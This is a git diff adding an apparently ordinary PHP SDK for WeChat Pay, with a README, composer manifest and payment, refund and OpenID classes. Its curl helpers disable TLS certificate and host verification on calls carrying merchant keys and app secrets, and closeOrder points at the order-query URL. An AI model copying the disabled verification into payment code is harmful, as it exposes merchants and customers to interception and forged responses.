Copyright (c) 2023 消失的彩虹海
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
# WeChatPay SDK for PHP
|
||||
微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。
|
||||
|
||||
### 功能特点
|
||||
|
||||
- 根据微信支付最新API开发,相比官方SDK,功能更完善,代码更简洁
|
||||
- 支持V2和V3两种接口,支持微信支付服务商模式与电商收付通模式
|
||||
- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架
|
||||
- 符合`PSR`标准,你可以各种方便的与你的框架集成
|
||||
- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口
|
||||
|
||||
### 环境要求
|
||||
|
||||
`PHP` >= 7.1
|
||||
|
||||
### 使用方法
|
||||
|
||||
1. Composer 安装。
|
||||
|
||||
```bash
|
||||
composer require cccyun/wechatpay-sdk
|
||||
```
|
||||
|
||||
2. 创建APIv2配置文件 [`config.php`](./examples/config.php),或APIv3配置文件 [`config.php`](./examples/V3/config.php),填写微信支付商户信息。
|
||||
|
||||
3. 引入配置文件,构造请求参数,调用PaymentService中的方法发起请求,APIv2参考 [`examples/qrpay.php`](./examples/qrpay.php),APIv3参考 [`examples/V3/qrpay.php`](./examples/V3/qrpay.php)
|
||||
|
||||
4. 更多实例,请移步 [`examples`](examples/) 目录。
|
||||
|
||||
5. 类功能说明
|
||||
|
||||
| 类名 | 说明 |
|
||||
| --------------------- | ------------------------------------------------- |
|
||||
| PaymentService | 基础支付服务类,所有支付功能都用这个 |
|
||||
| JsApiTool | JSAPI支付工具类,用于公众号、小程序登录获取Openid |
|
||||
| TransferService | 微信支付商家转账功能 |
|
||||
| ProfitsharingService | 微信支付分账功能 |
|
||||
| ComplainService | 消费者投诉处理功能 |
|
||||
| PartnerPaymentService | 服务商基础支付服务类,APIv3服务商调用支付功能使用 |
|
||||
|
||||
6. 要对接的API在以上实现类中没有,可根据微信支付官方的文档,使用BaseService类中的execute方法直接调用接口,参考 [`examples/V3/other.php`](./examples/V3/other.php)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "cccyun/wechatpay-sdk",
|
||||
"description": "微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。",
|
||||
"type": "library",
|
||||
"keywords": [
|
||||
"wxpay",
|
||||
"wechat",
|
||||
"微信支付"
|
||||
],
|
||||
"license": "MIT",
|
||||
"minimum-stability": "dev",
|
||||
"prefer-stable": true,
|
||||
"require": {
|
||||
"php": ">=7.1"
|
||||
},
|
||||
"authors": [
|
||||
{
|
||||
"name": "caihong",
|
||||
"email": "admin@cccyun.cn"
|
||||
}
|
||||
],
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"WeChatPay\\": "src/"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
use Exception;
|
||||
|
||||
class BaseService
|
||||
{
|
||||
//SDK版本号
|
||||
static $VERSION = "3.0.10";
|
||||
|
||||
//应用APPID
|
||||
protected $appId;
|
||||
|
||||
//商户号
|
||||
protected $mchId;
|
||||
|
||||
//商户API密钥
|
||||
protected $apiKey;
|
||||
|
||||
//子商户号
|
||||
protected $subMchId;
|
||||
|
||||
//子商户公众账号ID
|
||||
protected $subAppId;
|
||||
|
||||
//商户证书路径
|
||||
protected $sslCertPath;
|
||||
|
||||
//商户证书私钥路径
|
||||
protected $sslKeyPath;
|
||||
|
||||
//公共请求参数
|
||||
protected $publicParams = [];
|
||||
|
||||
/**
|
||||
* @param array $config 微信支付配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
if (empty($config['appid'])) {
|
||||
throw new \InvalidArgumentException('应用APPID不能为空');
|
||||
}
|
||||
if (empty($config['mchid'])) {
|
||||
throw new \InvalidArgumentException("商户号不能为空");
|
||||
}
|
||||
if (empty($config['apikey'])) {
|
||||
throw new \InvalidArgumentException("商户API密钥不能为空");
|
||||
}
|
||||
$this->appId = $config['appid'];
|
||||
$this->mchId = $config['mchid'];
|
||||
$this->apiKey = $config['apikey'];
|
||||
$this->sslCertPath = $config['sslcert_path'];
|
||||
$this->sslKeyPath = $config['sslkey_path'];
|
||||
if (isset($config['sub_mchid'])) {
|
||||
$this->subMchId = $config['sub_mchid'];
|
||||
}
|
||||
if (isset($config['sub_appid'])) {
|
||||
$this->subAppId = $config['sub_appid'];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 请求接口并解析返回数据
|
||||
* @param string $url url
|
||||
* @param array $params 请求参数
|
||||
* @param bool $cert 是否需要证书
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function execute(string $url, array $params, bool $cert = false)
|
||||
{
|
||||
$params = array_merge($this->publicParams, $params);
|
||||
$params['sign'] = $this->makeSign($params);
|
||||
$xml = $this->array2Xml($params);
|
||||
$response = $this->curl($url, $xml, $cert);
|
||||
$result = $this->xml2array($response);
|
||||
if (isset($result['return_code']) && $result['return_code'] == 'SUCCESS') {
|
||||
if (isset($result['result_code']) && $result['result_code'] == 'SUCCESS') {
|
||||
if (isset($result['sign']) && !$this->checkSign($result)) {
|
||||
throw new Exception('返回数据验签失败');
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
throw new WeChatPayException($result);
|
||||
}
|
||||
|
||||
/**
|
||||
* 验签
|
||||
* @param $data
|
||||
* @return bool
|
||||
*/
|
||||
protected function checkSign($data): bool
|
||||
{
|
||||
if (!isset($data['sign'])) return false;
|
||||
|
||||
$sign = $this->makeSign($data);
|
||||
|
||||
return $sign === $data['sign'];
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成签名
|
||||
* @param $data
|
||||
* @return string
|
||||
*/
|
||||
protected function makeSign($data): string
|
||||
{
|
||||
ksort($data);
|
||||
$signStr = '';
|
||||
foreach ($data as $k => $v) {
|
||||
if($k != 'sign' && !is_array($v) && !$this->isEmpty($v)){
|
||||
$signStr .= $k . '=' . $v . '&';
|
||||
}
|
||||
}
|
||||
$signStr = trim($signStr, '&') . '&key=' . $this->apiKey;
|
||||
if (isset($data['sign_type']) && $data['sign_type'] == 'HMAC-SHA256') {
|
||||
$sign = hash_hmac("sha256", $signStr, $this->apiKey);
|
||||
} else {
|
||||
$sign = md5($signStr);
|
||||
}
|
||||
return strtoupper($sign);
|
||||
}
|
||||
|
||||
/**
|
||||
* 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符.
|
||||
*
|
||||
* @param string|null $value
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function isEmpty(?string $value): bool
|
||||
{
|
||||
return $value === null || $value === '';
|
||||
}
|
||||
|
||||
/**
|
||||
* 产生随机字符串,不长于32位
|
||||
* @param int $length
|
||||
* @return string 产生的随机字符串
|
||||
*/
|
||||
protected function getNonceStr(int $length = 32): string
|
||||
{
|
||||
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||
$str = "";
|
||||
for ($i = 0; $i < $length; $i++) {
|
||||
$str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
|
||||
}
|
||||
return $str;
|
||||
}
|
||||
|
||||
/**
|
||||
* 转为XML数据
|
||||
* @param array $data 源数据
|
||||
* @return string
|
||||
*/
|
||||
protected function array2Xml(array $data): string
|
||||
{
|
||||
$xml = '<xml>';
|
||||
foreach ($data as $key => $val) {
|
||||
$xml .= (is_numeric($val) ? "<{$key}>{$val}</{$key}>" : "<{$key}><![CDATA[{$val}]]></{$key}>");
|
||||
}
|
||||
return $xml . '</xml>';
|
||||
}
|
||||
|
||||
/**
|
||||
* 解析XML数据
|
||||
* @param string $xml 源数据
|
||||
* @return mixed
|
||||
*/
|
||||
protected function xml2array(string $xml)
|
||||
{
|
||||
if (!$xml) {
|
||||
return false;
|
||||
}
|
||||
LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true);
|
||||
return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 以post方式提交xml到对应的接口url
|
||||
* @param string $url url
|
||||
* @param mixed $xml 需要post的xml数据
|
||||
* @param bool $useCert 是否需要证书
|
||||
* @param int $second url执行超时时间
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function curl(string $url, $xml, bool $useCert = false, int $second = 10): string
|
||||
{
|
||||
$ch = curl_init();
|
||||
$curlVersion = curl_version();
|
||||
$ua = "WXPaySDK/" . self::$VERSION . " (" . PHP_OS . ") PHP/" . PHP_VERSION . " CURL/" . $curlVersion['version'] . " ". $this->mchId;
|
||||
|
||||
curl_setopt($ch, CURLOPT_TIMEOUT, $second);
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
|
||||
curl_setopt($ch, CURLOPT_HEADER, false);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
if ($useCert) {
|
||||
if (!file_exists($this->sslCertPath) || !file_exists($this->sslKeyPath)) {
|
||||
throw new Exception('商户证书文件不存在');
|
||||
}
|
||||
//使用证书:cert 与 key 分别属于两个.pem文件
|
||||
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
|
||||
curl_setopt($ch, CURLOPT_SSLCERT, $this->sslCertPath);
|
||||
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
|
||||
curl_setopt($ch, CURLOPT_SSLKEY, $this->sslKeyPath);
|
||||
}
|
||||
curl_setopt($ch, CURLOPT_POST, true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
|
||||
$data = curl_exec($ch);
|
||||
if (curl_errno($ch) > 0) {
|
||||
$errmsg = curl_error($ch);
|
||||
curl_close($ch);
|
||||
throw new Exception($errmsg, 0);
|
||||
}
|
||||
curl_close($ch);
|
||||
return $data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* JSAPI支付工具类
|
||||
* 实现了从微信公众平台获取code、通过code获取openid和access_token
|
||||
*/
|
||||
class JsApiTool
|
||||
{
|
||||
const GET_AUTH_CODE_URL = "https://open.weixin.qq.com/connect/oauth2/authorize";
|
||||
const GET_ACCESS_TOKEN_URL = "https://api.weixin.qq.com/sns/oauth2/access_token";
|
||||
const GET_MINIAPP_TOKEN_URL = "https://api.weixin.qq.com/sns/jscode2session";
|
||||
|
||||
private $appid;
|
||||
private $appsecret;
|
||||
|
||||
/**
|
||||
* 网页授权接口微信服务器返回的数据,返回样例如下
|
||||
* {
|
||||
* "access_token":"ACCESS_TOKEN",
|
||||
* "expires_in":7200,
|
||||
* "refresh_token":"REFRESH_TOKEN",
|
||||
* "openid":"OPENID",
|
||||
* "scope":"SCOPE",
|
||||
* "unionid": "o6_bmasdasdsad6_2sgVt7hMZOPfL"
|
||||
* }
|
||||
* openid是微信支付jsapi支付接口必须的参数
|
||||
* @var array
|
||||
*/
|
||||
public $data = null;
|
||||
|
||||
public function __construct($appid, $appsecret)
|
||||
{
|
||||
$this->appid = $appid;
|
||||
$this->appsecret = $appsecret;
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过跳转获取用户的openid,跳转流程如下:
|
||||
* 1、设置自己需要调回的url及其其他参数,跳转到微信服务器
|
||||
* 2、微信服务处理完成之后会跳转回用户redirect_uri地址,此时会带上一些参数,如:code
|
||||
*
|
||||
* @return string 用户的openid
|
||||
* @throws Exception
|
||||
*/
|
||||
public function GetOpenid(): string
|
||||
{
|
||||
if (!isset($_GET['code'])) {
|
||||
$this->login();
|
||||
}
|
||||
$code = $_GET['code'];
|
||||
return $this->GetOpenidFromMp($code);
|
||||
}
|
||||
|
||||
/**
|
||||
* 跳转到微信公众平台登录
|
||||
*/
|
||||
public function login()
|
||||
{
|
||||
if (function_exists('is_https')) {
|
||||
$redirect_uri = (is_https() ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
|
||||
} else {
|
||||
$redirect_uri = ($_SERVER['SERVER_PORT'] == 443 ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
|
||||
}
|
||||
$param = [
|
||||
"appid" => $this->appid,
|
||||
"redirect_uri" => $redirect_uri,
|
||||
"response_type" => "code",
|
||||
"scope" => "snsapi_base",
|
||||
"state" => "STATE"
|
||||
];
|
||||
$url = self::GET_AUTH_CODE_URL . '?' . http_build_query($param) . "#wechat_redirect";
|
||||
Header("Location: $url");
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* 从公众平台获取openid
|
||||
* @param string $code 微信跳转回来带上的code
|
||||
*
|
||||
* @return string openid
|
||||
* @throws Exception
|
||||
*/
|
||||
public function GetOpenidFromMp(string $code): string
|
||||
{
|
||||
$param = [
|
||||
"appid" => $this->appid,
|
||||
"secret" => $this->appsecret,
|
||||
"code" => $code,
|
||||
"grant_type" => "authorization_code"
|
||||
];
|
||||
$url = self::GET_ACCESS_TOKEN_URL . '?' . http_build_query($param);
|
||||
$res = $this->curl($url);
|
||||
$data = json_decode($res, true);
|
||||
if (isset($data['access_token']) && isset($data['openid'])) {
|
||||
$this->data = $data;
|
||||
return $data['openid'];
|
||||
} elseif (isset($data['errcode'])) {
|
||||
throw new Exception('Openid获取失败 [' . $data['errcode'] . ']' . $data['errmsg']);
|
||||
} else {
|
||||
throw new Exception('Openid获取失败,原因未知');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 微信小程序获取Openid
|
||||
* @param string $code 登录时获取的code
|
||||
*
|
||||
* @return string openid
|
||||
* @throws Exception
|
||||
*/
|
||||
public function AppGetOpenid(string $code): string
|
||||
{
|
||||
$param = [
|
||||
"appid" => $this->appid,
|
||||
"secret" => $this->appsecret,
|
||||
"js_code" => $code,
|
||||
"grant_type" => "authorization_code"
|
||||
];
|
||||
$url = self::GET_MINIAPP_TOKEN_URL . '?' . http_build_query($param);
|
||||
$res = $this->curl($url);
|
||||
$data = json_decode($res, true);
|
||||
if (isset($data['session_key']) && isset($data['openid'])) {
|
||||
$this->data = $data;
|
||||
return $data['openid'];
|
||||
} elseif (isset($data['errcode'])) {
|
||||
throw new Exception('获取openid失败 [' . $data['errcode'] . ']' . $data['errmsg']);
|
||||
} else {
|
||||
throw new Exception('获取openid失败,原因未知');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 发起GET请求
|
||||
* @param string $url 请求url
|
||||
* @return string
|
||||
*/
|
||||
private function curl(string $url): string
|
||||
{
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_TIMEOUT, 6);
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
curl_setopt($ch, CURLOPT_HEADER, false);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0");
|
||||
$res = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $res;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,386 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 基础支付服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/api/index.html
|
||||
*/
|
||||
class PaymentService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
|
||||
$this->publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mch_id' => $this->mchId,
|
||||
'nonce_str' => $this->getNonceStr(),
|
||||
'sign_type' => 'MD5',
|
||||
];
|
||||
if (!empty($this->subMchId)) {
|
||||
$this->publicParams['sub_mch_id'] = $this->subMchId;
|
||||
}
|
||||
if (!empty($this->subAppId)) {
|
||||
$this->publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 统一下单
|
||||
* @param array $params 下单参数
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function unifiedOrder(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/unifiedorder';
|
||||
if (empty($params['out_trade_no'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数out_trade_no');
|
||||
}
|
||||
if (empty($params['body'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数body');
|
||||
}
|
||||
if (empty($params['total_fee'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数total_fee');
|
||||
}
|
||||
if (empty($params['trade_type'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数trade_type');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* NATIVE支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function nativePay(array $params)
|
||||
{
|
||||
if (empty($params['product_id'])) {
|
||||
throw new \InvalidArgumentException('缺少NATIVE支付必填参数product_id');
|
||||
}
|
||||
$params['trade_type'] = 'NATIVE';
|
||||
return $this->unifiedOrder($params);
|
||||
}
|
||||
|
||||
/**
|
||||
* JSAPI支付
|
||||
* @param array $params 下单参数
|
||||
* @return array Jsapi支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function jsapiPay(array $params)
|
||||
{
|
||||
if (empty($params['openid'])) {
|
||||
throw new \InvalidArgumentException('缺少JSAPI支付必填参数openid');
|
||||
}
|
||||
$params['trade_type'] = 'JSAPI';
|
||||
$result = $this->unifiedOrder($params);
|
||||
return $this->getJsApiParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取JSAPI支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array json数据
|
||||
*/
|
||||
private function getJsApiParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appId' => $this->appId,
|
||||
'timeStamp' => time() . '',
|
||||
'nonceStr' => $this->getNonceStr(),
|
||||
'package' => 'prepay_id=' . $prepay_id,
|
||||
'signType' => 'MD5',
|
||||
];
|
||||
$params['paySign'] = $this->makeSign($params);
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* APP支付
|
||||
* @param array $params 下单参数
|
||||
* @return array APP支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function appPay(array $params): array
|
||||
{
|
||||
$params['trade_type'] = 'APP';
|
||||
$result = $this->unifiedOrder($params);
|
||||
return $this->getAppParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取APP支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array
|
||||
*/
|
||||
private function getAppParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appid' => $this->appId,
|
||||
'partnerid' => $this->mchId,
|
||||
'prepayid' => $prepay_id,
|
||||
'package' => 'Sign=WXPay',
|
||||
'noncestr' => $this->getNonceStr(),
|
||||
'timestamp' => time().'',
|
||||
];
|
||||
$params['sign'] = $this->makeSign($params);
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* H5支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"mweb_url":"支付跳转链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function h5Pay(array $params)
|
||||
{
|
||||
$params['trade_type'] = 'MWEB';
|
||||
return $this->unifiedOrder($params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 付款码支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"openid":"用户标识","is_subscribe":"N","total_fee":888,"cash_fee":888,"transaction_id":"微信支付订单号","out_trade_no":"商户订单号","time_end":"支付完成时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function microPay(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/micropay';
|
||||
if (empty($params['out_trade_no'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数out_trade_no');
|
||||
}
|
||||
if (empty($params['body'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数body');
|
||||
}
|
||||
if (empty($params['total_fee'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数total_fee');
|
||||
}
|
||||
if (empty($params['auth_code'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数auth_code');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 撤销订单
|
||||
* @param string|null $transaction_id 微信订单号
|
||||
* @param string|null $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function reverse(string $transaction_id = null, string $out_trade_no = null)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/secapi/pay/reverse';
|
||||
$params = [];
|
||||
if ($transaction_id) {
|
||||
$params['transaction_id'] = $transaction_id;
|
||||
} elseif ($out_trade_no) {
|
||||
$params['out_trade_no'] = $out_trade_no;
|
||||
}
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单,微信订单号、商户订单号至少填一个
|
||||
* @param string|null $transaction_id 微信订单号
|
||||
* @param string|null $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function orderQuery(string $transaction_id = null, string $out_trade_no = null)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/orderquery';
|
||||
$params = [];
|
||||
if ($transaction_id) {
|
||||
$params['transaction_id'] = $transaction_id;
|
||||
} elseif ($out_trade_no) {
|
||||
$params['out_trade_no'] = $out_trade_no;
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断订单是否已完成
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return bool
|
||||
*/
|
||||
public function orderQueryResult(string $transaction_id): bool
|
||||
{
|
||||
try {
|
||||
$data = $this->orderQuery($transaction_id);
|
||||
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
|
||||
} catch (Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 关闭订单
|
||||
* @param string $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function closeOrder(string $out_trade_no)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/orderquery';
|
||||
$params = [
|
||||
'out_trade_no' => $out_trade_no
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请退款
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refund(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/secapi/pay/refund';
|
||||
if (empty($params['transaction_id']) && empty($params['out_trade_no'])) {
|
||||
throw new \InvalidArgumentException('out_trade_no、transaction_id至少填一个');
|
||||
}
|
||||
if (empty($params['out_refund_no'])) {
|
||||
throw new \InvalidArgumentException('out_refund_no参数不能为空');
|
||||
}
|
||||
if (empty($params['total_fee'])) {
|
||||
throw new \InvalidArgumentException('total_fee参数不能为空');
|
||||
}
|
||||
if (empty($params['refund_fee'])) {
|
||||
throw new \InvalidArgumentException('refund_fee参数不能为空');
|
||||
}
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询退款
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refundQuery(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/refundquery';
|
||||
if (empty($params['transaction_id']) && empty($params['out_trade_no']) && empty($params['out_refund_no']) && empty($params['refund_id'])) {
|
||||
throw new \InvalidArgumentException('退款查询接口中,out_refund_no、out_trade_no、transaction_id、refund_id四个参数必填一个');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载对账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function downloadBill(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/downloadbill';
|
||||
if (empty($params['bill_date'])) {
|
||||
throw new \InvalidArgumentException('bill_date参数不能为空');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载资金账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function downloadFundFlow(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/downloadfundflow';
|
||||
if (empty($params['bill_date'])) {
|
||||
throw new \InvalidArgumentException('bill_date参数不能为空');
|
||||
}
|
||||
if (empty($params['account_type'])) {
|
||||
throw new \InvalidArgumentException('account_type参数不能为空');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付结果通知
|
||||
* @return bool|mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function notify()
|
||||
{
|
||||
$xml = file_get_contents("php://input");
|
||||
if (empty($xml)) {
|
||||
throw new Exception('NO_DATA');
|
||||
}
|
||||
$result = $this->xml2array($xml);
|
||||
if (!$result) {
|
||||
throw new Exception('XML_ERROR');
|
||||
}
|
||||
if ($result['return_code'] != 'SUCCESS') {
|
||||
throw new Exception($result['return_msg']);
|
||||
}
|
||||
if (!$this->checkSign($result)) {
|
||||
throw new Exception('签名校验失败');
|
||||
}
|
||||
if (!isset($result['transaction_id'])) {
|
||||
throw new Exception('缺少订单号参数');
|
||||
}
|
||||
if (!$this->orderQueryResult($result['transaction_id'])) {
|
||||
throw new Exception('订单未完成');
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 退款结果通知
|
||||
* @param array &$errmsg 错误信息
|
||||
* @return bool|string
|
||||
*/
|
||||
public function refundNotify(array &$errmsg): bool
|
||||
{
|
||||
$xml = file_get_contents("php://input");
|
||||
if (empty($xml)) {
|
||||
$errmsg = 'NO_DATA';
|
||||
return false;
|
||||
}
|
||||
$result = $this->xml2array($xml);
|
||||
if (!$result) {
|
||||
$errmsg = 'XML_ERROR';
|
||||
return false;
|
||||
}
|
||||
if ($result['return_code'] != 'SUCCESS') {
|
||||
$errmsg = $result['return_msg'];
|
||||
return false;
|
||||
}
|
||||
$req_info = base64_decode($result['req_info']);
|
||||
$md5_key = md5($this->apiKey);
|
||||
return openssl_decrypt($req_info, 'aes-256-ecb', $md5_key);
|
||||
}
|
||||
|
||||
/**
|
||||
* 回复通知
|
||||
* @param bool $isSuccess 是否成功
|
||||
* @param string|null $msg 失败原因
|
||||
*/
|
||||
public function replyNotify(bool $isSuccess = true, ?string $msg = '')
|
||||
{
|
||||
$data = [];
|
||||
if ($isSuccess) {
|
||||
$data['return_code'] = 'SUCCESS';
|
||||
$data['return_msg'] = 'OK';
|
||||
} else {
|
||||
$data['return_code'] = 'FAIL';
|
||||
$data['return_msg'] = $msg;
|
||||
}
|
||||
$xml = $this->array2Xml($data);
|
||||
echo $xml;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 分账服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/api/allocation.php?chapter=26_1
|
||||
*/
|
||||
class ProfitsharingService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
|
||||
$this->publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mch_id' => $this->mchId,
|
||||
'nonce_str' => $this->getNonceStr(),
|
||||
'sign_type' => 'HMAC-SHA256',
|
||||
];
|
||||
if (!empty($this->subMchId)) {
|
||||
